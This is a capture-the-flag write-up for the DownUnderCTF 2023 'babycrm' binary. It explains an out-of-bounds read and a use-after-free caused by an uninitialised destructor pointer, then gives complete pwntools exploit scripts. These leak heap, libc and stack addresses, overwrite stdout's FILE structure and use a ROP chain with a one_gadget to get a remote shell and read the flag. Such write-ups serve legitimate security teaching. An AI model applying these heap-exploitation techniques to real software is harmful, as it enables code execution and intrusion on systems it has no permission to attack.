# DownUnderCTF 2023: babycrm ### Description: ![](https://hackmd.io/_uploads/SktLM6403.png) ### Checksec ```sh checksec baby-crm [*] '/home/lynklee/CTF/DUCTF/babycrm/baby-crm' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'.' ``` ### Source code: ```cpp #include <vector> #include <string> #include <iostream> #include <unistd.h> #include <stdio.h> #define DESCRIPTION_SIZE 0x50 using namespace std; void fill_buf(char * buf, int len) { int i = 0; int c; for(int i = 0; i<len; i++) { buf[i] = c = getchar(); if (c == '\n') { break; } } } class Order { public: Order(): value_(0){}; Order(double value) { value_ = value; } ~Order() { delete description_; } void print_order() { cout << "Value: " << value_ << endl; cout << "Description: " << endl; print_description(); } double value() { return value_; } char * description() { return description_; } void print_description() { fwrite(description_, DESCRIPTION_SIZE, 1, stdout); } void edit_description() { cout << "New description: "; if (description_ == nullptr) { cout << "Description not yet set" << endl; return; } fill_buf(description_, DESCRIPTION_SIZE); } void set_description() { cout << "> "; char * desc_buf = (char*)malloc(DESCRIPTION_SIZE); fill_buf(desc_buf, DESCRIPTION_SIZE); description_ = desc_buf; } void help() { cout << "Use an order to track the value and details \ of a single order. A Customer may hold several orders." << endl; } private: char* description_; double value_; }; class Customer { public: Customer() { revenue_ = 0; orders_ = new vector<Order*>(); } string name() { return name_; } void set_name(string name) { name_ = name; } void set_description(string description) { description_ = description; } vector<Order*> * orders() { return orders_; } void print() { cout << "Name: " << name_ << endl; cout << "Description: " << description_ << endl; cout << "Orders: " << endl; for (auto o : *orders_) { o->print_order(); } } void help() { cout << "Use Customer to track a single customer, including their name\ , description, and their current open orders." << endl; } private: string name_; float revenue_; string description_; vector<Order*> * orders_; }; vector<Customer*> customers; void help() { Order o; Customer c; size_t option; cout << "1. Order Help" << endl; cout << "2. Customer Help" << endl; cout << "> "; cin >> option; switch (option) { case 1: o.help(); break; case 2: c.help(); break; } } int menu(){ char buf[0x100]; cout << "1. New Customer" << endl; cout << "2. Alter Customer" << endl; cout << "3. Show Customer" << endl; cout << "4. Help" << endl; cout << "> "; int choice; scanf("%d", &choice); return choice; } void new_customer() { Customer * customer = new Customer(); cout << "Customer name: "; string name; cin >> name; customer->set_name(name); customers.push_back(customer); } Order * new_order() { cout << "Order value: "; float value; cin >> value; Order * order = new Order(value); order->set_description(); return order; } void alter_customer(){ char buf [0x10]; size_t choice; size_t option; cout << "Customer to alter: "; cin >> choice; if (choice >= customers.size()) { cout << "No such customer" << endl; return; } Customer * customer = customers[choice]; cout << "1. Change name" << endl; cout << "2. Change description" << endl; cout << "3. Add Order" << endl; cout << "4. Edit Order" << endl; cout << "5. Mark Order complete" << endl; cout << "> "; cin >> option; switch(option) { case 1: { cout << "New name: "; string name; cin >> name; customer->set_name(name); break; } case 2: { cout << "New description: "; string description; cin >> description; customer->set_description(description); break; } case 3: { Order * order = new_order(); customer->orders()->push_back(order); break; } case 4: { cout << "Order to edit: "; size_t idx; cin >> idx; getchar(); if (idx >= customer->orders()->size()){ cout << "No such order" << endl; return; } Order * order = customer->orders()->at(idx); order->edit_description(); break; } default: cout << "No such option" << endl; } } void show_customer() { Customer * customer; size_t choice; cout << "Customer to show: " << endl; cin >> choice; customer = customers[choice]; customer->print(); } void init() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); } int main() { init(); int option; while (true) { option = menu(); switch(option) { case 1: new_customer(); break; case 2: alter_customer(); break; case 3: show_customer(); break; case 4: help(); break; default: goto exit; } } exit: return 0; } ``` It looks like a CRM process, with customers and their orders. 4 options: - `new_customer` adds a new customer - `alter_customer` changes a customer's information, description, orders. - `show_customer` prints information about customers based on index - `help` prints instructons of customers and orders. ### Finding the vulnerability There are two bugs in this code: ```cpp void show_customer() { Customer * customer; size_t choice; cout << "Customer to show: " << endl; cin >> choice; customer = customers[choice]; customer->print(); } ``` There are no check on `choice` &rarr; `OOB` ```cpp void help() { Order o; Customer c; size_t option; cout << "1. Order Help" << endl; cout << "2. Customer Help" << endl; cout << "> "; cin >> option; switch (option) { case 1: o.help(); break; case 2: c.help(); break; } } ``` Here the `o` with type `Order` and `c` with type `Customer` are local variables and stored on stack. At the end of the function, it will call `~Order()` or `~Customer()`, which will delete the pointer if `[rbp - 8]` is not `NULL`. ```sh ───────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────── 0x55555555704c <Order::~Order()+20> mov rax, qword ptr [rax] 0x55555555704f <Order::~Order()+23> test rax, rax 0x555555557052 <Order::~Order()+26> je Order::~Order()+41 <Order::~Order()+41> 0x555555557054 <Order::~Order()+28> mov esi, 1 0x555555557059 <Order::~Order()+33> mov rdi, rax ► 0x55555555705c <Order::~Order()+36> call operator delete(void*, unsigned long)@plt <operator delete(void*, unsigned long)@plt> rdi: 0x7fffffffdf20 —▸ 0x7fffffffdf40 ◂— 0x1 rsi: 0x1 rdx: 0x7ffff7e23370 (vtable for std::ostream+24) —▸ 0x7ffff7d3b5f0 (std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()) ◂— endbr64 rcx: 0xc00 0x555555557061 <Order::~Order()+41> nop 0x555555557062 <Order::~Order()+42> leave 0x555555557063 <Order::~Order()+43> ret 0x555555557064 <Order::print_order()> endbr64 0x555555557068 <Order::print_order()+4> push rbp ────────────────────────────────────────[ STACK ]───────────────────────────────────────── 00:0000│ rsp 0x7fffffffde70 ◂— 0x0 01:0008│ 0x7fffffffde78 —▸ 0x7fffffffdea0 —▸ 0x7fffffffdf20 —▸ 0x7fffffffdf40 ◂— 0x1 02:0010│ rbp 0x7fffffffde80 —▸ 0x7fffffffdf20 —▸ 0x7fffffffdf40 ◂— 0x1 03:0018│ 0x7fffffffde88 —▸ 0x5555555565e5 (help()+263) ◂— mov rax, qword ptr [rbp - 0x18] 04:0020│ 0x7fffffffde90 —▸ 0x7fffffffdeb8 ◂— 0x0 05:0028│ 0x7fffffffde98 ◂— 0x1 06:0030│ 0x7fffffffdea0 —▸ 0x7fffffffdf20 —▸ 0x7fffffffdf40 ◂— 0x1 07:0038│ 0x7fffffffdea8 ◂— 0x0 ──────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────── ► f 0 0x55555555705c Order::~Order()+36 f 1 0x5555555565e5 help()+263 f 2 0x555555556f37 main+89 f 3 0x7ffff7829d90 __libc_start_call_main+128 f 4 0x7ffff7829e40 __libc_start_main_impl+128 f 5 0x5555555563c5 _start+37 ────────────────────────────────────────────────────────────────────────────────────────── pwndbg> ``` If we can use this hole to put a valid chunk into `[rbp - 8]`, it can cause a `use-after-free` bug. I didn't figure how to take advantage of `OOB` bug for exploitation, if you know, feel free to DM me and let me know. I will focus on `use-after-free` solely to get a shell. ```py from pwn import * e = context.binary = ELF('./baby-crm') libc = ELF('./libc.so.6') #r = e.process() r = remote('2023.ductf.dev', 30014) def choice(c: int): r.recv() r.sendline(str(c).encode()) def new(name: bytes): choice(1) r.recv() r.sendline(name) def alter(idx: int): choice(2) r.recv() r.sendline(str(idx).encode()) def change_name(idx: int, name: bytes): alter(idx) choice(1) r.recv() r.sendline(name) def change_description(idx: int, description: bytes): alter(idx) choice(2) r.recv() r.sendline(description) def add_order(idx: int, value: float): alter(idx) choice(3) r.recv() r.sendline(str(value).encode()) def edit_order(idx: int, idx_order: int, description: bytes): alter(idx) choice(4) r.recv() r.sendline(str(idx_order).encode()) r.recv() r.sendline(description) def complete(idx: int): alter(idx) choice(5) def show(idx: int): choice(3) r.recv() r.sendline(str(idx).encode()) def help_(mode: int): choice(4) r.recv() r.sendline(str(mode).encode()) gs = """ b*_ZN5Order11print_orderEv+133 b*main+93 """ #gdb.attach(r, gs) for i in range(9): new(f'Lynk{i}'.encode()) for i in range(9): change_name(i, chr(0x41 + i).encode() * 0x10) for i in range(9): change_description(i, chr(0x41 + i).encode() * 0x20) for i in range(9): change_description(i, chr(0x41 + i).encode() * 0x30) add_order(0, 1200) help_(2) ``` ```sh RAX 0x55f9ea4a2eb0 —▸ 0x55f9ea4a3460 ◂— 'AAAAAAAAAAAAAAAA' RBX 0x0 RCX 0xc00 RDX 0x7f588a623370 (vtable for std::ostream+24) —▸ 0x7f588a53b5f0 (std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()) ◂— endbr64 *RDI 0x55f9ea4a2eb0 —▸ 0x55f9ea4a3460 ◂— 'AAAAAAAAAAAAAAAA' RSI 0x1 R8 0x6a R9 0x55f9ea2371d0 (std::cin@GLIBCXX_3.4+16) —▸ 0x7f588a6228f8 (vtable for std::istream+64) —▸ 0x7f588a5200d0 (virtual thunk to std::basic_istream<char, std::char_traits<char> >::~basic_istream()) ◂— endbr64 R10 0x7f588a1beac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000 R11 0x246 R12 0x7ffff6f9a668 —▸ 0x7ffff6f9c3cb ◂— '/home/lynklee/CTF/DUCTF/babycrm/baby-crm' R13 0x55f9ea231ede (main) ◂— endbr64 R14 0x55f9ea236cc0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x55f9ea231440 (__do_global_dtors_aux) ◂— endbr64 R15 0x7f588a7a8040 (_rtld_global) —▸ 0x7f588a7a92e0 —▸ 0x55f9ea22f000 ◂— 0x10102464c457f RBP 0x7ffff6f9a490 —▸ 0x7ffff6f9a530 —▸ 0x7ffff6f9a550 ◂— 0x1 RSP 0x7ffff6f9a480 ◂— 0x0 *RIP 0x55f9ea23205c (Order::~Order()+36) ◂— call 0x55f9ea2312b0 ──────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────── 0x55f9ea23204c <Order::~Order()+20> mov rax, qword ptr [rax] 0x55f9ea23204f <Order::~Order()+23> test rax, rax 0x55f9ea232052 <Order::~Order()+26> je Order::~Order()+41 <Order::~Order()+41> 0x55f9ea232054 <Order::~Order()+28> mov esi, 1 0x55f9ea232059 <Order::~Order()+33> mov rdi, rax ► 0x55f9ea23205c <Order::~Order()+36> call operator delete(void*, unsigned long)@plt <operator delete(void*, unsigned long)@plt> rdi: 0x55f9ea4a2eb0 —▸ 0x55f9ea4a3460 ◂— 'AAAAAAAAAAAAAAAA' rsi: 0x1 rdx: 0x7f588a623370 (vtable for std::ostream+24) —▸ 0x7f588a53b5f0 (std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()) ◂— endbr64 rcx: 0xc00 0x55f9ea232061 <Order::~Order()+41> nop 0x55f9ea232062 <Order::~Order()+42> leave 0x55f9ea232063 <Order::~Order()+43> ret 0x55f9ea232064 <Order::print_order()> endbr64 0x55f9ea232068 <Order::print_order()+4> push rbp ───────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7ffff6f9a480 ◂— 0x0 01:0008│ 0x7ffff6f9a488 —▸ 0x7ffff6f9a4b0 —▸ 0x55f9ea4a2eb0 —▸ 0x55f9ea4a3460 ◂— 'AAAAAAAAAAAAAAAA' 02:0010│ rbp 0x7ffff6f9a490 —▸ 0x7ffff6f9a530 —▸ 0x7ffff6f9a550 ◂— 0x1 03:0018│ 0x7ffff6f9a498 —▸ 0x55f9ea2315e5 (help()+263) ◂— mov rax, qword ptr [rbp - 0x18] 04:0020│ 0x7ffff6f9a4a0 ◂— 0x3 05:0028│ 0x7ffff6f9a4a8 ◂— 0x2 06:0030│ 0x7ffff6f9a4b0 —▸ 0x55f9ea4a2eb0 —▸ 0x55f9ea4a3460 ◂— 'AAAAAAAAAAAAAAAA' 07:0038│ 0x7ffff6f9a4b8 ◂— 0x0 ─────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────── ► f 0 0x55f9ea23205c Order::~Order()+36 f 1 0x55f9ea2315e5 help()+263 f 2 0x55f9ea231f37 main+89 f 3 0x7f588a029d90 __libc_start_call_main+128 f 4 0x7f588a029e40 __libc_start_main_impl+128 f 5 0x55f9ea2313c5 _start+37 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> ``` Here we can free the `customer[0]` due to its pointer remain at `[rbp - 8]` after adding an order. Allocate another order in order to create a `vector` chunk, which could use for leaking heap base and libc base by option `show`. ```py from pwn import * e = context.binary = ELF('./baby-crm') libc = ELF('./libc.so.6') r = e.process() #r = remote('2023.ductf.dev', 30014) def choice(c: int): r.recv() r.sendline(str(c).encode()) def new(name: bytes): choice(1) r.recv() r.sendline(name) def alter(idx: int): choice(2) r.recv() r.sendline(str(idx).encode()) def change_name(idx: int, name: bytes): alter(idx) choice(1) r.recv() r.sendline(name) def change_description(idx: int, description: bytes): alter(idx) choice(2) r.recv() r.sendline(description) def add_order(idx: int, value: float): alter(idx) choice(3) r.recv() r.sendline(str(value).encode()) def edit_order(idx: int, idx_order: int, description: bytes): alter(idx) choice(4) r.recv() r.sendline(str(idx_order).encode()) r.recv() r.sendline(description) def complete(idx: int): alter(idx) choice(5) def show(idx: int): choice(3) r.recv() r.sendline(str(idx).encode()) def help_(mode: int): choice(4) r.recv() r.sendline(str(mode).encode()) gs = """ b*_ZN5Order11print_orderEv+133 b*main+93 b*_Z9new_orderv """ gdb.attach(r, gs) for i in range(9): new(f'Lynk{i}'.encode()) for i in range(9): change_name(i, chr(0x41 + i).encode() * 0x10) for i in range(9): change_description(i, chr(0x41 + i).encode() * 0x20) for i in range(9): change_description(i, chr(0x41 + i).encode() * 0x30) add_order(0, 1200) help_(2) pause() add_order(0, 1200) show(0) r.recvuntil(b'Value: 1200') r.recvuntil(b'Description') r.recvuntil(b'Description: \n') leak = r.recv(56) heap = u64(leak[40:48]) - 0x12800 log.info(f'Heap: {hex(heap)}') new(b'F' * 1050) add_order(9, 2000) help_(2) add_order(9, 2100) #pause() show(9) r.recvuntil(b'Value: 2000') r.recvuntil(b'Description: \n') s = r.recv(32) libc.address = u64(s[8:16]) - libc.sym['main_arena'] - 192 log.info(f'Libc: {hex(libc.address)}') ``` ### Where to overwrite and get shell? Problems here when it's not linear to put an arbitrary address into `tcache`. Because `cpp` has done a lot of things with heap that is far away my from my observation. So I need to debug and dig deeper for a while and I recognize an invaluable piece of code. ```c++ void set_name(string name) { name_ = name; } void set_description(string description) { description_ = description; } ``` And also take a closer look at the `private` attribute of class `Customer` ```cpp private: string name_; float revenue_; string description_; vector<Order*> * orders_; ``` A `Customer` chunk is a `0x60-size` chunk. After causing a `use-after-free`, my approach would be to use `change_name` in a different chunk in order to reuse the freed chunk and input an arbitrary address. See the figure below to clearly understand. ```sh pwndbg> tel &customers 0 00:0000│ 0x55cb708512e0 (customers) —▸ 0x55cb717d73b0 —▸ 0x55cb717d6eb0 ◂— 0x55cb7170a pwndbg> tel 0x55cb717d73b0 40 00:0000│ 0x55cb717d73b0 —▸ 0x55cb717d6eb0 ◂— 0x55cb7170a 01:0008│ 0x55cb717d73b8 —▸ 0x55cb717d6f50 —▸ 0x55cb717d7490 ◂— 'BBBBBBBBBBBBBBBB' 02:0010│ 0x55cb717d73c0 —▸ 0x55cb717d6ff0 —▸ 0x55cb717d74c0 ◂— 'CCCCCCCCCCCCCCCC' 03:0018│ 0x55cb717d73c8 —▸ 0x55cb717d7080 —▸ 0x55cb717d74f0 ◂— 'DDDDDDDDDDDDDDDD' 04:0020│ 0x55cb717d73d0 —▸ 0x55cb717d70e0 —▸ 0x55cb717d7520 ◂— 'EEEEEEEEEEEEEEEE' 05:0028│ 0x55cb717d73d8 —▸ 0x55cb717d71b0 —▸ 0x55cb717d7550 ◂— 'FFFFFFFFFFFFFFFF' 06:0030│ 0x55cb717d73e0 —▸ 0x55cb717d7230 —▸ 0x55cb717d7580 ◂— 'GGGGGGGGGGGGGGGG' 07:0038│ 0x55cb717d73e8 —▸ 0x55cb717d72b0 —▸ 0x55cb717d75b0 ◂— 'HHHHHHHHHHHHHHHH' 08:0040│ 0x55cb717d73f0 —▸ 0x55cb717d7330 —▸ 0x55cb717d75e0 ◂— 'IIIIIIIIIIIIIIII' 09:0048│ 0x55cb717d73f8 —▸ 0x55cb717d7bb0 —▸ 0x7fb0b9c1a780 (_IO_2_1_stdout_) ◂— 0xfbad2887 0a:0050│ 0x55cb717d7400 ◂— 0x0 ... ↓ 6 skipped 11:0088│ 0x55cb717d7438 ◂— 0x21 /* '!' */ 12:0090│ 0x55cb717d7440 —▸ 0x55cb717d7ad0 ◂— 0xa /* '\n' */ 13:0098│ 0x55cb717d7448 ◂— 0x4092c00000000000 14:00a0│ 0x55cb717d7450 ◂— 0x0 15:00a8│ 0x55cb717d7458 ◂— 0x31 /* '1' */ 16:00b0│ 0x55cb717d7460 ◂— 'AAAAAAAAAAAAAAAA' 17:00b8│ 0x55cb717d7468 ◂— 'AAAAAAAA' 18:00c0│ 0x55cb717d7470 ◂— 0x0 ... ↓ 2 skipped 1b:00d8│ 0x55cb717d7488 ◂— 0x31 /* '1' */ 1c:00e0│ 0x55cb717d7490 ◂— 'BBBBBBBBBBBBBBBB' 1d:00e8│ 0x55cb717d7498 ◂— 'BBBBBBBB' 1e:00f0│ 0x55cb717d74a0 ◂— 0x0 ... ↓ 2 skipped 21:0108│ 0x55cb717d74b8 ◂— 0x31 /* '1' */ 22:0110│ 0x55cb717d74c0 ◂— 'CCCCCCCCCCCCCCCC' 23:0118│ 0x55cb717d74c8 ◂— 'CCCCCCCC' 24:0120│ 0x55cb717d74d0 ◂— 0x0 ... ↓ 2 skipped 27:0138│ 0x55cb717d74e8 ◂— 0x31 /* '1' */ pwndbg> x/12gx 0x55cb717d7bb0 0x55cb717d7bb0: 0x00007fb0b9c1a780 0x00007fb0b9c1a780 0x55cb717d7bc0: 0x00007fb0b9c1a780 0x00007fb0b9c1a780 0x55cb717d7bd0: 0x00007fb0b9c1a780 0x00007fb0b9c1a780 0x55cb717d7be0: 0x00007fb0b9c1a780 0x00007fb0b9c1a780 0x55cb717d7bf0: 0x00007fb0b9c1a780 0x00007fb0b9c1a780 0x55cb717d7c00: 0x0000000000000000 0x0000000000000091 ``` As `customers` is a global variable, it will hold different pointers to each `Customer` chunk. `0x55cb717d7bb0` is the address of the 9th `Customer`, and as the private attributes of class `Customer` contains `string name` and `string description`, which is now `_IO_2_1_stdout_`, we can choose to overwrite `_IO_2_1_stdout_` to leak stack. ``` fp->flags = 0xfbad1800 fp->_IO_write_base = environ fp->_IO_write_base = environ + 8 ``` By modifying stdout like this, you can get stack address. Use the similar method to achieve arbitrary write again by writing to `saved rip` and input an invalid option, which will return to our ROPchain. ### Final script: ```py from pwn import * e = context.binary = ELF('./baby-crm') libc = ELF('./libc.so.6') #r = e.process() r = remote('2023.ductf.dev', 30014) def choice(c: int): r.recv() r.sendline(str(c).encode()) def new(name: bytes): choice(1) r.recv() r.sendline(name) def alter(idx: int): choice(2) r.recv() r.sendline(str(idx).encode()) def change_name(idx: int, name: bytes): alter(idx) choice(1) r.recv() r.sendline(name) def change_description(idx: int, description: bytes): alter(idx) choice(2) r.recv() r.sendline(description) def add_order(idx: int, value: float): alter(idx) choice(3) r.recv() r.sendline(str(value).encode()) def edit_order(idx: int, idx_order: int, description: bytes): alter(idx) choice(4) r.recv() r.sendline(str(idx_order).encode()) r.recv() r.sendline(description) def complete(idx: int): alter(idx) choice(5) def show(idx: int): choice(3) r.recv() r.sendline(str(idx).encode()) def help_(mode: int): choice(4) r.recv() r.sendline(str(mode).encode()) gs = """ b*_ZN5Order11print_orderEv+133 b*main+93 b*_Z9new_orderv b*_Z14alter_customerv+745 """ #gdb.attach(r, gs) for i in range(9): new(f'Lynk{i}'.encode()) for i in range(9): change_name(i, chr(0x41 + i).encode() * 0x10) for i in range(9): change_description(i, chr(0x41 + i).encode() * 0x20) for i in range(9): change_description(i, chr(0x41 + i).encode() * 0x30) add_order(0, 1200) help_(2) add_order(0, 1200) show(0) r.recvuntil(b'Value: 1200') r.recvuntil(b'Description') r.recvuntil(b'Description: \n') leak = r.recv(56) heap = u64(leak[40:48]) - 0x12800 log.info(f'Heap: {hex(heap)}') new(b'F' * 1050) add_order(9, 2000) help_(2) add_order(9, 2100) show(9) r.recvuntil(b'Value: 2000') r.recvuntil(b'Description: \n') s = r.recv(32) libc.address = u64(s[8:16]) - libc.sym['main_arena'] - 192 log.info(f'Libc: {hex(libc.address)}') pop_rdi = 0x000000000002a3e5 + libc.address bin_sh = next(libc.search(b'/bin/sh\0')) ret = pop_rdi + 1 system = libc.sym['system'] pop_rsi = libc.address + 0x000000000002be51 one_gadget = libc.address + 0xebcf8 add_order(9, 2200) help_(2) stdout = libc.sym['_IO_2_1_stdout_'] pause() change_name(8, p64(stdout) * 10) help_(2) #pause() change_description(9, p64(0xfbad1800) + p64(0) * 3 + p64(libc.sym['environ']) + p64(libc.sym['environ'] + 16)) stack = u64(r.recvuntil(b'\x7f')[-6:] + b'\0' * 2) - 0x128 log.info(f'Stack: {hex(stack)}') r.recv() r.sendline(b'2') r.recv() r.sendline(b'6') r.recv() r.sendline(b'4') r.recv() r.sendline(b'9') help_(6) payload = p64(stack) payload += p64(pop_rsi) payload += p64(0) payload += p64(one_gadget) change_name(5, p64(stack) * 10) r.recv() r.sendline(b'2') r.recv() r.sendline(b'6') r.recv() r.sendline(b'2') r.recv() r.sendline(payload) r.recv() r.sendline(b'5') r.interactive() ``` ```sh python3 x.py ─╯ [*] '/home/lynklee/CTF/DUCTF/babycrm/baby-crm' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'.' [*] '/home/lynklee/CTF/DUCTF/babycrm/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 2023.ductf.dev on port 30014: Done [*] Heap: 0x5b1dd134a000 [*] Libc: 0x79bfb6c6d000 [*] Paused (press any to continue) [*] Stack: 0x7ffea66c7910 [*] Switching to interactive mode $ id uid=1000 gid=1000 groups=1000 $ ls flag.txt pwn $ cat flag.txt DUCTF{0u7_0f_5c0p3_0u7_0f_m1nd}$ ```